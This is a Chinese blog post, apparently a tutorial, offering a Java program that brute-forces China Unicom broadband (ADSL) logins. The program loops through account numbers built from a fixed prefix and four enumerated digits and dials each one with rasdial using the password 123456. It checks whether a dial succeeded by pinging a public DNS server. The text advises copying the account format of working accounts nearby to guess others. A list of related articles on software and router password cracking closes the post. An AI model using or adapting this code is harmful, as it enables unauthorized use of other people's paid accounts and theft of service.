暴力破解宽带,版本2
在第一个版本中讲到了如何破解宽带账号
上一篇文章
《暴力破解宽带账号》
但对于之前的代码个人觉得写的不好,因此准备第二个版本
建立一个宽带连接
注意拨号名称为宽带连接
与后面代码connAdsl("宽带连接", username, password);//重新拨号
相对应,如果连接名称不是这个宽带连接
则将其改成对应你电脑上的名称
点击连接,然后跳过,再接着选择设置连接,然后关闭即可
然后使用代码进行暴力破解
而你需要做的事情就是自己提供宽带账号和密码,对于校园网,尤其是联通的宽带,都是很有规律的
联通的宽带一般是 地区号开头组成的12位数字 + @Unicom01
,其中后面4位一般是手机号后4位
因此我的建议是先观察你所在的环境能正常拨号的宽带账号,然后模仿它的格式得到宽带账号进行破解即可
另外建议你看下代码,代码可以适当的调整,可以优化执行效率
代码
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.util.concurrent.TimeUnit;//暴力破解宽带
public class BruteForce {/*** 执行CMD命令,并返回String字符串*/public static String executeCmd(String strCmd) throws Exception {Process p = Runtime.getRuntime().exec("cmd /c " + strCmd);StringBuilder sbCmd = new StringBuilder();BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream(), "GBK"));String line;while ((line = br.readLine()) != null) {sbCmd.append(line + "\n");}return sbCmd.toString();}/*** 检测网络* 能ping通则返回true,ping不通返回false*/private static boolean checkInternet() throws Exception {String comm = "ping -n 2 114.114.114.114";String s = executeCmd(comm);System.out.println(s);if (s.indexOf("TTL") >= 0) {return true;} else if (s.indexOf("请求超时") >= 0 || s.indexOf("无法访问目标网") >= 0) {return false;} else {return false;}}/*** ADSL连接宽带* <p>* 可以适当的调整下面休眠的时间,* 注意sleep不可调的太小,太小可能导致拨号成功了但是依然ping不通*/public static boolean connAdsl(String adslTitle, String adslName, String adslPass) throws Exception {String disconnectResult = executeCmd("rasdial " + adslTitle + " /DISCONNECT");// 断开之前的连接System.out.println(disconnectResult);// 断开之前的连接String connectResult = executeCmd("rasdial " + adslTitle + " " + adslName + " " + adslPass);// 进行拨号连接System.out.println(connectResult);// 重新拨号的连接TimeUnit.SECONDS.sleep(3);// 暂停一会,不暂停的话重新进行判断网络的时候会导致ping不通,实际已经连接成功了if (checkInternet()) {System.out.println("破解成功!\n宽带账号:" + adslName + "\t宽带密码:" + adslPass);return true;} else {return false;}}//测试代码public static void main(String[] args) throws Exception {for (int i = 1071; i <= 9999; i++) {String str = String.format("%04d", i);//获得长度为4的数字String username = "079701" + "60" + str + "@Unicom01";//宽带账号System.out.println("宽带账号:" + username);String password = "123456";//破解密码为123456的宽带账号boolean connect = checkInternet();// ping检测一下if (!connect) {// 网络没有ping通则进行拨号connAdsl("宽带连接", username, password);//重新拨号} else {System.out.println("网络正常");//破解成功,后面的break会暂停。break;}}}
}
暴力破解宽带,版本2相关推荐
- Sublime Text 3143 Win32版本暴力破解过程
Sublime Text是一款强大的文本编辑器,在不注册的情况下也可以使用,但标题栏的未注册字样与时不时弹出的nag窗口有时也让人感觉很不爽,于是尝试对其注册过程进行分析与破解. 截至写本篇文章时,S ...
- 路由器密码忘记 五步暴力破解
我是一名家庭用户,最近不小心忘记了家里无线路由器的登录密码,现在唯一知道的就是该设备使用的是5位以内的数字作为密码,那么我想问专家如何来解决这种密码为纯数字的暴力破解问题呢?在线急切等待. [解答]很 ...
- 服务器暴力破解的程序(python开发)
如果您对服务器暴力破解和Python相关知识有兴趣,与大神们共同探讨和 首先我们看一下基本的原理以及过程 Paste_Image.png 我们看一下准备工作: 我们需要获取目标机器的IP和SHH端口 ...
- fail2ban防止暴力破解
防止暴力破解的一般方法: 1) 密码足够复杂 2)修改端口号 3) 禁用root登录 4)第三方防爆破软件 fail2ban实现锁IP 说明:监视系统日志,然后通过匹配日志错误信息(正则匹配),执行相 ...
- 开源服务专题之------ssh防止暴力破解及fail2ban的使用方法
15年出现的JAVA反序列化漏洞,另一个是redis配置不当导致机器入侵.只要redis是用root启动的并且未授权的话,就可以通过set方式直接写入一个authorized_keys到系统的/roo ...
- 利用Python自动生成暴力破解的字典
Python是一款非常强大的语言.用于测试时它非常有效,因此Python越来越受到欢迎. 因此,在此次教程中我将聊一聊如何在Python中生成字典,并将它用于任何你想要的用途. 前提要求 1,Pyth ...
- DVWA学习(三)Brute Force(暴力破解)
BF算法,即暴风(Brute Force)算法,是普通的模式匹配算法,BF算法的思想就是将目标串S的第一个字符与模式串T的第一个字符进行匹配,若相等,则继续比较S的第二个字符和 T的第二个字符:若不相 ...
- python3爬虫(5)百度云盘暴力破解尝试
4年前写过一篇文章,暴力破解百度云,链接(当然这个方法早已失效): https://blog.csdn.net/liujiayu2/article/details/48953745 当时写这篇文章的时 ...
- linux密码暴力破解之SHA-512破解
linux密码暴力破解 由于MD5加密已经发展了很多年,现在市面上已经积累了大量的MD5数据,这样,MD5的安全性也就受到了威胁,所以,从centos6.x版本开始,系统密码开始采用SHA-512加密 ...
最新文章
- SpringBoot实现通用的接口参数校验
- 这是我读过写得最好的【秒杀系统架构】分析与实战!
- 运维企业专题(9)RHCS集群工具介绍
- 重大里程碑!VOLO屠榜CV任务,无需额外数据,首次在ImageNet 上达到87.1%
- php协议任意文件读取
- JAVA——关闭ServerSocket
- ubuntu11.10安装mysql+handlersocket
- 高等数学与python高级应用_python高级应用程序与设计
- css3 卡片hover3D效果
- Java ObjectInputStream readUnshared()方法与示例
- POJ1256 (C++ compare函数)
- 为什么要进行特征归一化/标准化?
- 有趣的算法(一):如何让有情人终成眷属
- URL重写,asp.net URL重写,URLRewriter.dll下载
- VAssistX使用
- python webdriver 从无到有搭建混合驱动自动化测试框架的过程和总结
- fckeditor 2.6 php,php下 FCKeditor 2.6.6的使用和配置
- unity3d手游破解(一)
- 芯片常见的三种封装形式
- 微信安全专线如何转人工服务器,微信客服电话怎么转人工?怎么解封微信号?...